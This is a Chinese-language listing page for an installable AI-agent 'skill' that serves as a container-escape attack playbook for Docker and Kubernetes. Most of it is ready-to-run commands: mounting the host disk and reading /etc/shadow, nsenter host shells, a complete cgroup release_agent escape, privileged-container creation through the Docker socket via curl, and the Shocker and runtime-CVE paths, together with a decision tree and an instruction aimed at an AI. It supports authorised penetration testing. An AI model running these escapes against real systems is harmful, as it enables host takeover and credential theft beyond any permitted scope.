关于 container-escape-techniques
面向渗透测试人员的容器安全技能,整理从 Docker 容器和 Kubernetes Pod 逃逸的路径。内容按权限、能力、命名空间、cgroup、运行时漏洞和 Pod 配置分类,并提供检查方法与工具参考。
主要功能
- 01容器与能力检查
- 02特权容器逃逸方法
- 03Docker Socket 与 cgroup 技术
- 04命名空间及运行时漏洞路径
- 05Kubernetes Pod 逃逸场景
- 06决策树与工具参考
适用场景
- 01在安全测试中评估容器暴露面
- 02调查危险的 Linux 能力配置
- 03检查 Docker Socket 或 cgroup 逃逸路径
- 04审计 Kubernetes Pod 设置中的主机访问风险
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill container-escape-techniques安装后在 Claude Code 中输入/container-escape-techniques确认已加载。
附带文件DOCKER_ESCAPE_CHAINS.md
详细介绍
技能:容器逃逸技术 — 专家攻击手册
AI 加载指令:专家级容器逃逸技术。涵盖特权容器逃逸、能力滥用、Docker 套接字利用、cgroup release_agent、命名空间逃逸、运行时 CVE 和 Kubernetes Pod 逃逸。基础模型会遗漏通过组合能力和 cgroup 操作实现的细微逃逸路径。
0. 相关路由
深入研究前,可考虑加载:
- linux-privilege-escalation:在尝试逃逸前,需要先在容器内获取 root 权限
- kubernetes-pentesting:了解 Pod 逃逸以外的 K8s 特定攻击路径
- linux-security-bypass:seccomp/AppArmor 阻止逃逸技术时
高级参考
需要以下内容时,也请加载 DOCKER_ESCAPE_CHAINS.md:
- 常见错误配置的分步逃逸链
- Docker-in-Docker 逃逸场景
- 包含完整命令序列的 Kubernetes 特定逃逸路径
1. 我是否在容器中?
# Quick checks
cat /proc/1/cgroup 2>/dev/null | grep -qi "docker\|kubepods\|containerd"
ls -la /.dockerenv 2>/dev/null
cat /proc/self/mountinfo | grep -i "overlay\|docker\|kubelet"
hostname # random hex = likely container
# Detailed check
cat /proc/1/status | head -5 # PID 1 is not systemd/init?
mount | grep -i "overlay" # overlay filesystem?
ip addr # veth interface? limited NICs?
容器检测工具
# amicontained: shows container runtime, capabilities, seccomp
./amicontained
# deepce: Docker enumeration and exploit suggester
./deepce.sh
# CDK: all-in-one container pentesting toolkit
./cdk evaluate
2. 特权容器逃逸
如果使用了 --privileged 标志,容器几乎拥有所有主机能力和设备访问权限。
2.1 挂载主机文件系统
# Check if privileged
cat /proc/self/status | grep CapEff
# CapEff: 0000003fffffffff = fully privileged
# Find host disk
fdisk -l 2>/dev/null || lsblk
# Usually /dev/sda1 or /dev/vda1
# Mount host root
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host
# Access host filesystem
cat /mnt/host/etc/shadow
chroot /mnt/host bash
2.2 nsenter(进入主机命名空间)
# From privileged container, enter host PID 1's namespaces
nsenter --target 1 --mount --uts --ipc --net --pid -- bash
# This gives a shell in the host's namespace context
# Effectively a full host shell
2.3 特权模式 + 主机 PID 命名空间
# If hostPID: true is set (Kubernetes)
# Access host processes via /proc
ls /proc/1/root/ # Host root filesystem
cat /proc/1/root/etc/shadow
# Inject into host process
nsenter --target 1 --mount -- bash
3. 基于能力的逃逸
3.1 CAP_SYS_ADMIN — 最通用
# Check capabilities
capsh --print 2>/dev/null
grep CapEff /proc/self/status
# Escape via mounting
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
# Or mount host filesystem if device access exists
mount /dev/sda1 /mnt/host 2>/dev/null
3.2 CAP_SYS_PTRACE — 进程注入
# Inject shellcode into a host process (requires host PID namespace)
# Find a root process
ps aux | grep root
# Use gdb or python-ptrace to inject
python3 << 'EOF'
import ctypes
import ctypes.util
libc = ctypes.CDLL(ctypes.util.find_library("c"))
# Attach to host process, inject shellcode
# ... (full inject_shellcode implementation)
EOF
3.3 CAP_NET_ADMIN
# Manipulate host network if host network namespace is shared
# ARP spoofing, route manipulation, traffic interception
iptables -L # Can see/modify host firewall rules?
ip route # Can modify routing?
3.4 CAP_DAC_READ_SEARCH(Shocker 漏洞利用)
# open_by_handle_at() bypass — read files from host
# Compile and run the "shocker" exploit
# Works when DAC_READ_SEARCH capability is granted
gcc shocker.c -o shocker
./shocker /etc/shadow # Read host file
4. Docker 套接字逃逸(/var/run/docker.sock)
ls -la /var/run/docker.sock # Check if mounted
# With Docker CLI:
docker run -v /:/host --privileged -it alpine chroot /host bash
# Without CLI (curl only) — create privileged container via API:
curl -s --unix-socket /var/run/docker.sock \
-X POST http://localhost/containers/create \
-H "Content-Type: application/json" \
-d '{"Image":"alpine","Cmd":["/bin/sh"],"Tty":true,"OpenStdin":true,
"HostConfig":{"Binds":["/:/host"],"Privileged":true}}'
# Start → Exec chroot /host bash (see DOCKER_ESCAPE_CHAINS.md for full sequence)
5. CGROUP V1 RELEASE_AGENT 逃逸
适用于拥有 CAP_SYS_ADMIN 且使用 cgroup v1 的容器的经典逃逸方式。
d=$(dirname $(ls -x /s*/fs/c*/*/r* | head -n1))
mkdir -p $d/w && echo 1 > $d/w/notify_on_release
host_path=$(sed -n 's/.*\bperdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > $d/release_agent
cat > /cmd << 'EOF'
#!/bin/sh
cat /etc/shadow > /output 2>&1 # Or: reverse shell
EOF
chmod +x /cmd
sh -c "echo \$\$ > $d/w/cgroup.procs" && sleep 1
cat /output
6. CGROUP V2 / eBPF 逃逸
# Cgroup v2: no release_agent file
# Check cgroup version:
mount | grep cgroup
# cgroup2 → v2
# eBPF-based escape (requires CAP_SYS_ADMIN + CAP_BPF or equivalent)
# Kernel ≥ 5.8 with unprivileged eBPF enabled
cat /proc/sys/kernel/unprivileged_bpf_disabled
# 0 = eBPF available to unprivileged users
7. 命名空间逃逸
用户命名空间
# If user namespace creation is allowed inside container:
unshare -U --map-root-user bash
# Now "root" inside new namespace
# Combined with other capabilities → mount host filesystem
PID 命名空间逃逸
# If hostPID: true (shared PID namespace with host)
# Access host processes directly:
ls /proc/1/root/ # Host's root filesystem
cat /proc/1/root/etc/shadow
# Inject into host process:
nsenter -t 1 -m -u -i -n -p -- bash
8. 运行时漏洞
runc CVE-2019-5736
使用 docker exec 时覆盖主机上的 runc 二进制文件。
# Conditions: docker exec into a malicious container triggers exploit
# The container's /bin/sh is replaced with exploit binary
# When next exec happens → overwrites /usr/bin/runc on host
# PoC: modify entrypoint to overwrite runc
# This is a one-shot exploit — runc is replaced permanently
containerd CVE-2020-15257
# Host network namespace shared + containerd < 1.3.9 / 1.4.3
# Abstract Unix socket accessible from container
# Connect to containerd shim API via @/containerd-shim/*.sock
cgroups CVE-2022-0492
# Unpatched kernel allows cgroup escape without CAP_SYS_ADMIN
# release_agent writable by unprivileged user in container
9. Kubernetes Pod 逃逸
| 危险的 Pod 配置 | 逃逸方式 |
|---|---|
hostPID: true | nsenter -t 1 -m -u -i -n -p -- bash |
hostNetwork: true | 直接访问节点服务(Kubelet、etcd 等) |
hostPath: {path: /} | chroot /host bash |
privileged: true | 挂载主机磁盘 / 使用 nsenter |
| 带有 RBAC 权限的 SA 令牌 | 通过 API 创建新的特权 Pod |
如需了解完整的 K8s 攻击路径,请参阅 kubernetes-pentesting。
10. 工具
| 工具 | 用途 | URL/命令 |
|---|---|---|
| deepce | Docker 信息枚举 + 漏洞利用建议 | ./deepce.sh |
| CDK | 容器/K8s 漏洞利用工具包 | ./cdk evaluate |
| amicontained | 显示容器运行时、能力和 seccomp | ./amicontained |
| PEIRATES | Kubernetes 渗透测试 | ./peirates |
| BOtB | 逃出容器 — 自动逃逸 | ./botb -autopwn |
11. 容器逃逸决策树
Inside a container?
│
├── Privileged mode? (CapEff = 0000003fffffffff)
│ ├── Yes → mount host disk (§2.1) or nsenter (§2.2)
│ └── Partial capabilities? Check each:
│ ├── CAP_SYS_ADMIN → cgroup release_agent (§5) or mount (§3.1)
│ ├── CAP_SYS_PTRACE + hostPID → process injection (§3.2)
│ ├── CAP_DAC_READ_SEARCH → shocker exploit (§3.4)
│ └── CAP_NET_ADMIN + hostNetwork → network manipulation (§3.3)
│
├── Docker socket mounted? (/var/run/docker.sock)
│ └── Yes → create privileged container (§4)
│
├── Host PID namespace shared?
│ └── Yes → nsenter -t 1 or /proc/1/root access (§7)
│
├── Cgroup v1?
│ └── + CAP_SYS_ADMIN → release_agent escape (§5)
│
├── Runtime vulnerable?
│ ├── runc < 1.0.0-rc6 → CVE-2019-5736 (§8)
│ └── containerd < 1.3.9 → CVE-2020-15257 (§8)
│
├── Kernel vulnerable?
│ └── Check KERNEL_EXPLOITS_CHECKLIST in linux-privilege-escalation
│
├── Kubernetes pod?
│ ├── Service account with elevated RBAC? → create escape pod (§9)
│ └── hostPath volume? → access host filesystem
│
└── None of the above?
├── Run deepce/CDK for automated detection
├── Check for writable host mount points
├── Enumerate network for other containers/services
└── Check /proc/self/mountinfo for interesting mounts
评论
支持 Markdown